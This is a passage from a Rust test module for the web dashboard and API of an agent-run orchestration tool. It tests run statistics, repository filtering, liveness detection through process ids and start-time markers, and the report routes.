11389    fn stats_bars_share_one_id_keyed_plan() {
11390        let start = APP_JS
11391            .find("function statsBarRows(")
11392            .expect("statsBarRows exists");
11393        let body = &APP_JS[start..];
11394        let body = &body[..body.find("\n}\n").expect("function end")];
11395        assert!(body.contains("statsBarPlan(rows)"));
11396        assert!(body.contains("statsAgentTone(row.agent)"));
11397        assert!(!body.contains("candTone(i)"));
11398        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11399        for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11400            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11401        }
11402    }
11403
11404    #[test]
11405    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11406        let start = APP_JS
11407            .find("function renderStatsReviewerScatter(")
11408            .expect("renderStatsReviewerScatter exists");
11409        let body = &APP_JS[start..];
11410        let body = &body[..body.find("\n}\n").expect("function end")];
11411        assert!(body.contains("statsScatterPlan(reviewers)"));
11412        assert!(body.contains("statsAgentTone(d.agent)"));
11413        assert!(APP_JS.contains("function statsScatterPlan("));
11414        assert!(
11415            APP_JS.contains("d.submitted < STATS_LOW_N")
11416                || APP_JS.contains("r.submitted < STATS_LOW_N")
11417        );
11418        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11419        assert!(APP_CSS.contains(".precision-scatter"));
11420    }
11421
11422    #[test]
11423    fn advisor_reflection_is_drawn_as_stacked_segments() {
11424        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11425        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11426        let html = include_str!("../assets/ui/index.html");
11427        assert!(html.contains("Approximate"));
11428        for label in ["reflected strongly", "faint", "no proposal"] {
11429            assert!(html.contains(label));
11430        }
11431        let css = include_str!("../assets/ui/app.css");
11432        for c in ["refl-strong", "refl-faint", "refl-absent"] {
11433            assert!(css.contains(&format!(".{c} {{")));
11434        }
11435    }
11436
11437    #[test]
11438    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11439        assert!(APP_JS.contains("function statsDailyPlan("));
11440        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11441        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11442    }
11443
11444    #[test]
11445    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11446        let start = APP_JS
11447            .find("function scheduleSearch(")
11448            .expect("scheduleSearch exists");
11449        let body = &APP_JS[start..];
11450        let body = &body[..body.find("\n}\n").expect("function end")];
11451        assert!(body.contains("s.seq += 1"));
11452    }
11453
11454    /// The dashboard reads every run's state itself rather than trusting a
11455    /// separately-maintained count, so an unreadable run must be counted the
11456    /// same way `/api/health` counts it - never silently dropped the way the
11457    /// CLI's own `stats::load_all` drops it.
11458    #[tokio::test]
11459    async fn stats_runs_unreadable_matches_health() {
11460        let f = Fixture::start().await;
11461        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11462        let broken = f.runs().join("20260902-140502-bad");
11463        std::fs::create_dir_all(&broken).expect("run dir");
11464        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11465
11466        let stats = f.get("/api/stats").await;
11467        let health = f.get("/api/health").await;
11468
11469        assert_eq!(stats.status, 200);
11470        assert_eq!(stats.json()["totals"]["runs"], 1);
11471        assert_eq!(stats.json()["runs_unreadable"], 1);
11472        assert_eq!(
11473            stats.json()["runs_unreadable"],
11474            health.json()["runs_unreadable"],
11475            "the dashboard and /api/health must never disagree about how many \
11476             runs could not be read"
11477        );
11478    }
11479
11480    #[tokio::test]
11481    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11482        let f = Fixture::start().await;
11483        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11484        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11485        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11486
11487        let totals = &f.get("/api/stats").await.json()["totals"];
11488        assert_eq!(totals["runs"], 3);
11489        assert_eq!(totals["merged"], 1);
11490        assert_eq!(totals["stalled"], 1);
11491        assert_eq!(totals["in_progress"], 1);
11492        // A stalled run must never read as blocked/merged/ready - it is its
11493        // own bucket, not folded into a "decided" one.
11494        assert_eq!(totals["blocked"], 0);
11495        assert_eq!(totals["ready"], 0);
11496    }
11497
11498    #[tokio::test]
11499    async fn stats_advisors_report_proposals_and_reflection() {
11500        use crate::advise::{Advice, AdvisorRecord, Reflection};
11501        use crate::verdict::Proposal;
11502
11503        let f = Fixture::start().await;
11504        let mut state = RunState::new(
11505            PathBuf::from("/repo/magi"),
11506            "main".to_owned(),
11507            "0123456789abcdef".to_owned(),
11508            "task".to_owned(),
11509            Config::default(),
11510        );
11511        state.id = "20260902-140501-a".to_owned();
11512        state.status = RunStatus::Merged;
11513        state.advice = Some(Advice {
11514            records: vec![
11515                AdvisorRecord {
11516                    seat: "advisor-1".to_owned(),
11517                    agent: "alpha".to_owned(),
11518                    proposal: Some(Proposal {
11519                        approach: "do it".to_owned(),
11520                        key_tradeoff: "speed over memory".to_owned(),
11521                        risks: Vec::new(),
11522                        touches: Vec::new(),
11523                        why_not_naive: "breaks under load".to_owned(),
11524                    }),
11525                    error: None,
11526                    duration_ms: 0,
11527                    reflection: Reflection::Strong,
11528                },
11529                AdvisorRecord {
11530                    seat: "advisor-2".to_owned(),
11531                    agent: "alpha".to_owned(),
11532                    proposal: None,
11533                    error: Some("timed out".to_owned()),
11534                    duration_ms: 0,
11535                    reflection: Reflection::Absent,
11536                },
11537            ],
11538            synthesis: Some("blended brief".to_owned()),
11539        });
11540        let dir = f.runs().join(&state.id);
11541        std::fs::create_dir_all(&dir).expect("run dir");
11542        std::fs::write(
11543            dir.join("run.json"),
11544            serde_json::to_string_pretty(&state).expect("serialize run"),
11545        )
11546        .expect("write run.json");
11547
11548        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11549        let alpha = advisors
11550            .as_array()
11551            .expect("an array")
11552            .iter()
11553            .find(|a| a["agent"] == "alpha")
11554            .expect("alpha row");
11555        assert_eq!(alpha["seated"], 2);
11556        assert_eq!(alpha["proposed"], 1);
11557        assert_eq!(alpha["absent"], 1);
11558        assert_eq!(alpha["strong"], 1);
11559        assert_eq!(alpha["faint"], 0);
11560        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11561    }
11562
11563    #[tokio::test]
11564    async fn stats_release_bumps_split_clean_from_attention() {
11565        use crate::run::ReleaseBump;
11566
11567        let f = Fixture::start().await;
11568
11569        let mut clean = RunState::new(
11570            PathBuf::from("/repo/magi"),
11571            "main".to_owned(),
11572            "0123456789abcdef".to_owned(),
11573            "task".to_owned(),
11574            Config::default(),
11575        );
11576        clean.id = "20260902-140501-a".to_owned();
11577        clean.status = RunStatus::Merged;
11578        clean.release_bump = Some(ReleaseBump {
11579            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11580            version: Some("1.0.0".to_owned()),
11581            automerge_enabled: true,
11582            merged_directly: false,
11583            local: false,
11584            release: None,
11585            problem: None,
11586            action_required: None,
11587        });
11588
11589        let mut blocked = RunState::new(
11590            PathBuf::from("/repo/magi"),
11591            "main".to_owned(),
11592            "0123456789abcdef".to_owned(),
11593            "task".to_owned(),
11594            Config::default(),
11595        );
11596        blocked.id = "20260902-140502-b".to_owned();
11597        blocked.status = RunStatus::Merged;
11598        blocked.release_bump = Some(ReleaseBump {
11599            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11600            version: Some("1.0.1".to_owned()),
11601            automerge_enabled: false,
11602            merged_directly: false,
11603            local: false,
11604            release: None,
11605            problem: Some("checks red".to_owned()),
11606            action_required: Some("look at the PR".to_owned()),
11607        });
11608
11609        for state in [&clean, &blocked] {
11610            let dir = f.runs().join(&state.id);
11611            std::fs::create_dir_all(&dir).expect("run dir");
11612            std::fs::write(
11613                dir.join("run.json"),
11614                serde_json::to_string_pretty(state).expect("serialize run"),
11615            )
11616            .expect("write run.json");
11617        }
11618
11619        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11620        assert_eq!(bumps["merged"], 2);
11621        assert_eq!(bumps["recorded"], 2);
11622        assert_eq!(bumps["pr_opened"], 2);
11623        assert_eq!(bumps["automerge_enabled"], 1);
11624        assert_eq!(bumps["needs_attention"], 1);
11625        assert_eq!(bumps["clean"], 1);
11626        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11627        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11628    }
11629
11630    #[tokio::test]
11631    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11632        let f = Fixture::start().await;
11633        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11634
11635        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11636        assert_eq!(bumps["merged"], 1);
11637        assert_eq!(bumps["recorded"], 0);
11638        // `merged` is nonzero, so coverage still reads as a real 0%, not an
11639        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
11640        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11641        // `pr_opened` and `recorded` are both zero here, so these rates have
11642        // no denominator to compute from and must be null.
11643        assert_eq!(bumps["automerge_rate"], Value::Null);
11644        assert_eq!(bumps["attention_rate"], Value::Null);
11645    }
11646
11647    #[tokio::test]
11648    async fn stats_queue_counts_come_from_the_live_queue() {
11649        let f = Fixture::start().await;
11650        let q = f.queue();
11651        let mut queued = Task::new(
11652            "queued task".to_owned(),
11653            "do it".to_owned(),
11654            PathBuf::from("/repo"),
11655            Source::Human,
11656        );
11657        q.put(&mut queued).expect("put queued");
11658        let mut held = Task::new(
11659            "held task".to_owned(),
11660            "do it later".to_owned(),
11661            PathBuf::from("/repo"),
11662            Source::Human,
11663        );
11664        held.hold_machine(Some("out of attempts".to_owned()));
11665        q.put(&mut held).expect("put held");
11666
11667        let queue = f.get("/api/stats").await.json()["queue"].clone();
11668        assert_eq!(queue["queued"], 1);
11669        assert_eq!(queue["held"], 1);
11670        assert_eq!(queue["running"], 0);
11671        assert_eq!(queue["done"], 0);
11672        assert_eq!(queue["failed"], 0);
11673        assert_eq!(queue["blocked"], 0);
11674    }
11675
11676    #[tokio::test]
11677    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11678        let f = Fixture::start().await;
11679        let stats = f.get("/api/stats").await;
11680        assert_eq!(stats.status, 200);
11681        assert_eq!(stats.json()["totals"]["runs"], 0);
11682        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11683        assert_eq!(stats.json()["runs_unreadable"], 0);
11684        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11685        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11686        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11687        assert_eq!(stats.json()["repo"], Value::Null);
11688    }
11689
11690    #[tokio::test]
11691    async fn stats_lists_every_repository_with_runs_recorded() {
11692        let f = Fixture::start().await;
11693        write_run_repo(
11694            &f.runs(),
11695            "20260902-140501-a",
11696            RunStatus::Merged,
11697            "/repos/a",
11698        );
11699        write_run_repo(
11700            &f.runs(),
11701            "20260902-140502-b",
11702            RunStatus::Merged,
11703            "/repos/a",
11704        );
11705        write_run_repo(
11706            &f.runs(),
11707            "20260902-140503-c",
11708            RunStatus::Blocked,
11709            "/repos/b",
11710        );
11711
11712        let stats = f.get("/api/stats").await;
11713        assert_eq!(stats.status, 200);
11714        // Unfiltered - the aggregate across both repositories.
11715        assert_eq!(stats.json()["totals"]["runs"], 3);
11716        assert_eq!(stats.json()["repo"], Value::Null);
11717
11718        let repos = stats.json()["repos"].clone();
11719        let repos = repos.as_array().unwrap();
11720        assert_eq!(repos.len(), 2);
11721        // Busiest (2 runs) first.
11722        assert_eq!(repos[0]["repo"], "/repos/a");
11723        assert_eq!(repos[0]["name"], "a");
11724        assert_eq!(repos[0]["runs"], 2);
11725        assert_eq!(repos[1]["repo"], "/repos/b");
11726        assert_eq!(repos[1]["runs"], 1);
11727    }
11728
11729    #[tokio::test]
11730    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11731        let f = Fixture::start().await;
11732        write_run_repo(
11733            &f.runs(),
11734            "20260902-140501-a",
11735            RunStatus::Merged,
11736            "/repos/a",
11737        );
11738        write_run_repo(
11739            &f.runs(),
11740            "20260902-140502-b",
11741            RunStatus::Blocked,
11742            "/repos/b",
11743        );
11744
11745        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11746        assert_eq!(stats.status, 200);
11747        assert_eq!(stats.json()["totals"]["runs"], 1);
11748        assert_eq!(stats.json()["totals"]["merged"], 1);
11749        assert_eq!(stats.json()["repo"], "/repos/a");
11750        // The repository list itself is unaffected by the filter - it is
11751        // what a client switches repositories from.
11752        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11753        // runs_unreadable is a whole-workload count, never scoped to the
11754        // selected repository - see StatsView::runs_unreadable's own doc.
11755        assert_eq!(stats.json()["runs_unreadable"], 0);
11756    }
11757
11758    #[tokio::test]
11759    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11760        let f = Fixture::start().await;
11761        write_run_repo(
11762            &f.runs(),
11763            "20260902-140501-a",
11764            RunStatus::Merged,
11765            "/repos/a",
11766        );
11767        write_run_repo(
11768            &f.runs(),
11769            "20260902-140502-b",
11770            RunStatus::Merged,
11771            "/repos/b",
11772        );
11773
11774        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11775            let json = f.get(uri).await.json();
11776            let daily = json["daily"].as_array().expect("daily is an array");
11777            assert_eq!(daily.len(), 30);
11778            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11779            let mut sorted = dates.clone();
11780            sorted.sort();
11781            assert_eq!(dates, sorted);
11782            for d in daily {
11783                assert_eq!(
11784                    d["merged"].as_u64().unwrap()
11785                        + d["ready"].as_u64().unwrap()
11786                        + d["other"].as_u64().unwrap(),
11787                    d["runs"].as_u64().unwrap()
11788                );
11789            }
11790            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11791        }
11792    }
11793
11794    #[tokio::test]
11795    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11796        let f = Fixture::start().await;
11797        write_run_repo(
11798            &f.runs(),
11799            "20260902-140501-a",
11800            RunStatus::Merged,
11801            "/repos/a",
11802        );
11803
11804        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11805        assert_eq!(stats.status, 404);
11806    }
11807
11808    #[tokio::test]
11809    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11810        let f = Fixture::start().await;
11811        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11812
11813        let summary = f.get("/api/runs").await.json();
11814        let row = &summary[0];
11815        assert_eq!(row["short"], "a1b2");
11816        assert_eq!(row["status"], "ready");
11817        assert_eq!(row["done"], true);
11818        assert_eq!(row["title"], "Add a web UI");
11819        assert_eq!(row["repo_name"], "magi");
11820        assert_eq!(row["judges"], 3);
11821        assert_eq!(row["winner"], Value::Null);
11822        assert_eq!(row["reviews"], 0);
11823
11824        // The short id resolves, and the detail route is the state itself, not
11825        // a projection of it: the UI reads fields the summary does not carry.
11826        let detail = f.get("/api/runs/a1b2").await;
11827        assert_eq!(detail.status, 200);
11828        assert_eq!(detail.json()["base_branch"], "main");
11829        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11830    }
11831
11832    /// `status: "ready"` alone cannot tell a run still headed for a landing
11833    /// (a PR closed without merging, say) apart from one `[merge] mode =
11834    /// "none"` left unmerged for good — the confusion the operator flagged
11835    /// after the CLI report already grew a `not landed — nothing to do by
11836    /// design` line for exactly this case (`report.rs`). Both the list route
11837    /// and the detail route must carry a flag the phone can key on instead of
11838    /// re-deriving it from `status` + `merge.mode` itself.
11839    #[tokio::test]
11840    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11841        let f = Fixture::start().await;
11842
11843        let mut none_run = RunState::new(
11844            PathBuf::from("/repo/magi"),
11845            "main".to_owned(),
11846            "0123456789abcdef".to_owned(),
11847            "Add a web UI".to_owned(),
11848            Config::default(),
11849        );
11850        none_run.id = "20260902-140503-none".to_owned();
11851        none_run.status = RunStatus::Ready;
11852        none_run.merge = Some(crate::run::MergeOutcome {
11853            mode: crate::config::MergeMode::None,
11854            ok: true,
11855            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11856            empty: false,
11857        });
11858        write_state(&f.runs(), &none_run);
11859
11860        let mut pr_run = RunState::new(
11861            PathBuf::from("/repo/magi"),
11862            "main".to_owned(),
11863            "0123456789abcdef".to_owned(),
11864            "Add a web UI".to_owned(),
11865            Config::default(),
11866        );
11867        pr_run.id = "20260902-140504-prcl".to_owned();
11868        pr_run.status = RunStatus::Ready;
11869        pr_run.merge = Some(crate::run::MergeOutcome {
11870            mode: crate::config::MergeMode::Pr,
11871            ok: false,
11872            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11873            empty: false,
11874        });
11875        write_state(&f.runs(), &pr_run);
11876
11877        let summary = f.get("/api/runs").await.json();
11878        let rows: std::collections::HashMap<&str, &Value> = summary
11879            .as_array()
11880            .expect("an array")
11881            .iter()
11882            .map(|r| (r["id"].as_str().expect("an id"), r))
11883            .collect();
11884        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11885        assert_eq!(
11886            rows[none_run.id.as_str()]["unmerged_by_design"],
11887            true,
11888            "a mode-none Ready must be flagged in the list"
11889        );
11890        assert_eq!(
11891            rows[pr_run.id.as_str()]["unmerged_by_design"],
11892            false,
11893            "a Ready reached by a closed pull request is a different case"
11894        );
11895
11896        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11897        assert_eq!(none_detail["status"], "ready");
11898        assert_eq!(none_detail["unmerged_by_design"], true);
11899
11900        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11901        assert_eq!(pr_detail["unmerged_by_design"], false);
11902    }
11903
11904    /// `RunState::active` is only ever cleared by whoever populated it, so the
11905    /// detail route also has to say whether a daemon is actually still
11906    /// driving this run right now — otherwise a seat from a killed process's
11907    /// last wave would read as live forever.
11908    #[tokio::test]
11909    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11910        let f = Fixture::start().await;
11911        // Matches `write_daemon`'s hard-coded `current.run`, so the second
11912        // half of this test can claim the daemon is working on it without a
11913        // second helper.
11914        let id = "20260902-140502-bbbb";
11915        let mut state = RunState::new(
11916            PathBuf::from("/repo/magi"),
11917            "main".to_owned(),
11918            "0123456789abcdef".to_owned(),
11919            "Add a web UI".to_owned(),
11920            Config::default(),
11921        );
11922        state.id = id.to_owned();
11923        state.status = RunStatus::Judging;
11924        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11925        let dir = f.runs().join(id);
11926        std::fs::create_dir_all(&dir).expect("run dir");
11927        std::fs::write(
11928            dir.join("run.json"),
11929            serde_json::to_string_pretty(&state).expect("serialize run"),
11930        )
11931        .expect("write run.json");
11932
11933        // No daemon.json at all, and no `driver_pid` recorded either (this
11934        // state was written directly, never through `execute()`): there is
11935        // nothing to confirm either way, so the route must say `"unknown"` —
11936        // never `"dead"`, which is exactly the false diagnosis a manual `magi
11937        // run` used to get from this route before `driver_pid` existed.
11938        let cold = f.get(&format!("/api/runs/{id}")).await.json();
11939        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11940        assert_eq!(cold["live"], "unknown", "{cold}");
11941
11942        // A fresh heartbeat naming exactly this run: the same entry now reads
11943        // as confirmed, not merely recorded.
11944        write_daemon(f.home.path(), Timestamp::now());
11945        let warm = f.get(&format!("/api/runs/{id}")).await.json();
11946        assert_eq!(warm["live"], "live", "{warm}");
11947    }
11948
11949    /// Where a run came from is shown, and a run written before origins were
11950    /// recorded (schema 12, no `origin` key) stays readable and says so.
11951    #[tokio::test]
11952    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11953        let f = Fixture::start().await;
11954        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11955            let mut state = RunState::new(
11956                PathBuf::from("/repo/magi"),
11957                "main".to_owned(),
11958                "0123456789abcdef".to_owned(),
11959                "Add a web UI".to_owned(),
11960                Config::default(),
11961            );
11962            state.id = id.to_owned();
11963            state.origin = origin;
11964            let mut value = serde_json::to_value(&state).expect("serialize run");
11965            if let Some(schema) = schema {
11966                value["schema"] = serde_json::json!(schema);
11967                value.as_object_mut().unwrap().remove("origin");
11968            }
11969            let dir = f.runs().join(id);
11970            std::fs::create_dir_all(&dir).expect("run dir");
11971            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11972        };
11973        write(
11974            "20260930-092817-ec34",
11975            Some(crate::run::Origin::from_agent_env(
11976                Some(("4a7b".to_owned(), "chat".to_owned())),
11977                None,
11978            )),
11979            None,
11980        );
11981        write("20260930-092817-0ld1", None, Some(12));
11982
11983        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11984        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11985        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11986
11987        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11988        assert_eq!(
11989            old["origin_label"], "origin unknown (started before origins were recorded)",
11990            "{old}"
11991        );
11992        assert!(old["origin"].is_null(), "{old}");
11993
11994        let list = f.get("/api/runs").await.json();
11995        let labels: Vec<_> = list
11996            .as_array()
11997            .unwrap()
11998            .iter()
11999            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12000            .collect();
12001        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12002    }
12003
12004    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
12005    /// review` claims no daemon at all, so before this field existed the
12006    /// route above read it as `"dead"` — indistinguishable from a run a
12007    /// killed process abandoned — the whole time it was genuinely still
12008    /// answering. With a live pid recorded, it must read `"live"` even
12009    /// though no daemon claims it.
12010    #[tokio::test]
12011    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12012        let f = Fixture::start().await;
12013        let id = "20260922-090000-cccc";
12014        let mut state = RunState::new(
12015            PathBuf::from("/repo/magi"),
12016            "main".to_owned(),
12017            "0123456789abcdef".to_owned(),
12018            "Review only".to_owned(),
12019            Config::default(),
12020        );
12021        state.id = id.to_owned();
12022        state.status = RunStatus::Reviewing;
12023        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12024        // This test process's own pid: guaranteed alive, and never needs a
12025        // real daemon or a second process to prove it. The matching start-time
12026        // marker is what `liveness` now requires alongside a live pid — see
12027        // `RunState::driver_started_at`'s own doc for why the pid alone is
12028        // not enough.
12029        state.driver_pid = Some(std::process::id());
12030        state.driver_started_at = Some(
12031            crate::proc::process_started_at(std::process::id())
12032                .expect("this test process's own start time must be queryable"),
12033        );
12034        let dir = f.runs().join(id);
12035        std::fs::create_dir_all(&dir).expect("run dir");
12036        std::fs::write(
12037            dir.join("run.json"),
12038            serde_json::to_string_pretty(&state).expect("serialize run"),
12039        )
12040        .expect("write run.json");
12041
12042        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12043        assert_eq!(detail["live"], "live", "{detail}");
12044    }
12045
12046    /// A killed manual run's pid can be handed to a wholly unrelated later
12047    /// process — a live query on `driver_pid` alone would read this as
12048    /// `"live"`, exactly the false positive `driver_started_at` exists to
12049    /// catch (see that field's own doc, and `RunState::liveness_with`'s
12050    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
12051    #[tokio::test]
12052    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12053        let f = Fixture::start().await;
12054        let id = "20260922-090100-dddd";
12055        let mut state = RunState::new(
12056            PathBuf::from("/repo/magi"),
12057            "main".to_owned(),
12058            "0123456789abcdef".to_owned(),
12059            "Review only".to_owned(),
12060            Config::default(),
12061        );
12062        state.id = id.to_owned();
12063        state.status = RunStatus::Reviewing;
12064        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12065        // This test process's own pid really is alive, but the marker
12066        // recorded here does not match what it actually started at —
12067        // standing in for the pid having since been reused by a different
12068        // process than the one that wrote `run.json`.
12069        state.driver_pid = Some(std::process::id());
12070        state.driver_started_at = Some("1".to_owned());
12071        let dir = f.runs().join(id);
12072        std::fs::create_dir_all(&dir).expect("run dir");
12073        std::fs::write(
12074            dir.join("run.json"),
12075            serde_json::to_string_pretty(&state).expect("serialize run"),
12076        )
12077        .expect("write run.json");
12078
12079        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12080        assert_eq!(detail["live"], "dead", "{detail}");
12081    }
12082
12083    /// The deck's competition list is normally the first place an operator
12084    /// sees an old run. It must carry the same process verdict as detail, or
12085    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
12086    #[test]
12087    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12088        let mk = |id: &str, pid: Option<u32>| {
12089            let mut s = RunState::new(
12090                PathBuf::from("/repo/magi"),
12091                "main".to_owned(),
12092                "0123456789abcdef".to_owned(),
12093                "Add a web UI".to_owned(),
12094                Config::default(),
12095            );
12096            s.id = id.to_owned();
12097            s.driver_pid = pid;
12098            s.driver_started_at = Some("1790000000".to_owned());
12099            s
12100        };
12101        let states = vec![
12102            mk("20260902-140502-aaaa", Some(77)),
12103            mk("20260902-140502-bbbb", Some(77)),
12104            mk("20260902-140502-cccc", Some(77)),
12105            mk("20260902-140502-dddd", None),
12106        ];
12107        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12108        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12109        let sup: HashMap<String, String> = [(
12110            "20260902-140502-aaaa".to_owned(),
12111            "20260902-140502-cccc".to_owned(),
12112        )]
12113        .into();
12114
12115        let status_calls = std::cell::Cell::new(0);
12116        let identity_calls = std::cell::Cell::new(0);
12117        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12118            |_| {
12119                status_calls.set(status_calls.get() + 1);
12120                Some(true)
12121            },
12122            |_| {
12123                identity_calls.set(identity_calls.get() + 1);
12124                Some("1790000000".to_owned())
12125            },
12126        ));
12127        let rows = summarize(
12128            states,
12129            &open,
12130            &claimed,
12131            &sup,
12132            |p| probe.borrow_mut().status(p),
12133            |p| probe.borrow_mut().started_at(p),
12134        );
12135
12136        assert_eq!(status_calls.get(), 1, "one pid, one status query");
12137        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12138        assert_eq!(rows.len(), 4);
12139        assert!(!rows[0].waiting && rows[1].waiting);
12140        assert_eq!(rows[0].live, crate::run::Liveness::Live);
12141        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12142        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12143        assert_eq!(rows[1].superseded_by, None);
12144    }
12145
12146    #[test]
12147    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12148        let mut state = RunState::new(
12149            PathBuf::from("/repo/magi"),
12150            "main".to_owned(),
12151            "0123456789abcdef".to_owned(),
12152            "Review only".to_owned(),
12153            Config::default(),
12154        );
12155        state.id = "20260922-090200-dead".to_owned();
12156        state.status = RunStatus::Reviewing;
12157        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12158            .expect("serialize list row");
12159        assert_eq!(row["status"], "reviewing");
12160        assert_eq!(row["live"], "dead", "{row}");
12161        assert!(!row["done"].as_bool().unwrap());
12162    }
12163
12164    #[tokio::test]
12165    async fn the_run_list_is_newest_first_and_honours_a_limit() {
12166        let f = Fixture::start().await;
12167        for id in [
12168            "20260902-140501-aaaa",
12169            "20260902-140502-bbbb",
12170            "20260902-140503-cccc",
12171        ] {
12172            write_run(&f.runs(), id, RunStatus::Merged);
12173        }
12174
12175        let all = f.get("/api/runs").await.json();
12176        let capped = f.get("/api/runs?limit=2").await.json();
12177
12178        assert_eq!(all[0]["id"], "20260902-140503-cccc");
12179        assert_eq!(all.as_array().map(Vec::len), Some(3));
12180        assert_eq!(capped.as_array().map(Vec::len), Some(2));
12181        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12182    }
12183
12184    #[tokio::test]
12185    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12186        let f = Fixture::start().await;
12187        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12188
12189        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12190
12191        assert_eq!(res.status, 200);
12192        assert!(
12193            res.headers
12194                .contains("content-type: text/plain; charset=utf-8"),
12195            "a browser must render it, not download it: {}",
12196            res.headers
12197        );
12198        // The assertion is on content, not on the absence of escapes: colour
12199        // is a process-global that `serve` turns off at startup, and another
12200        // test in this binary may own it while this one runs.
12201        assert!(
12202            res.body.contains("20260902-140501-a1b2"),
12203            "the report is about the run that was asked for: {}",
12204            res.body
12205        );
12206    }
12207
12208    #[tokio::test]
12209    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12210        // The view names the run's state directory, which reads the process-global home.
12211        crate::run::pin_test_home();
12212        let f = Fixture::start().await;
12213        let id = "20260902-140501-a1b2";
12214        write_run(&f.runs(), id, RunStatus::Stalled);
12215        // A stalled panel and one review round, written through the real
12216        // state file so the route reads what a run really leaves behind.
12217        let path = f.runs().join(id).join("run.json");
12218        let mut v: serde_json::Value =
12219            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12220        v["tally"] = serde_json::json!({
12221            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12222            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12223            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12224            "met_quorum": false, "rankings": 1
12225        });
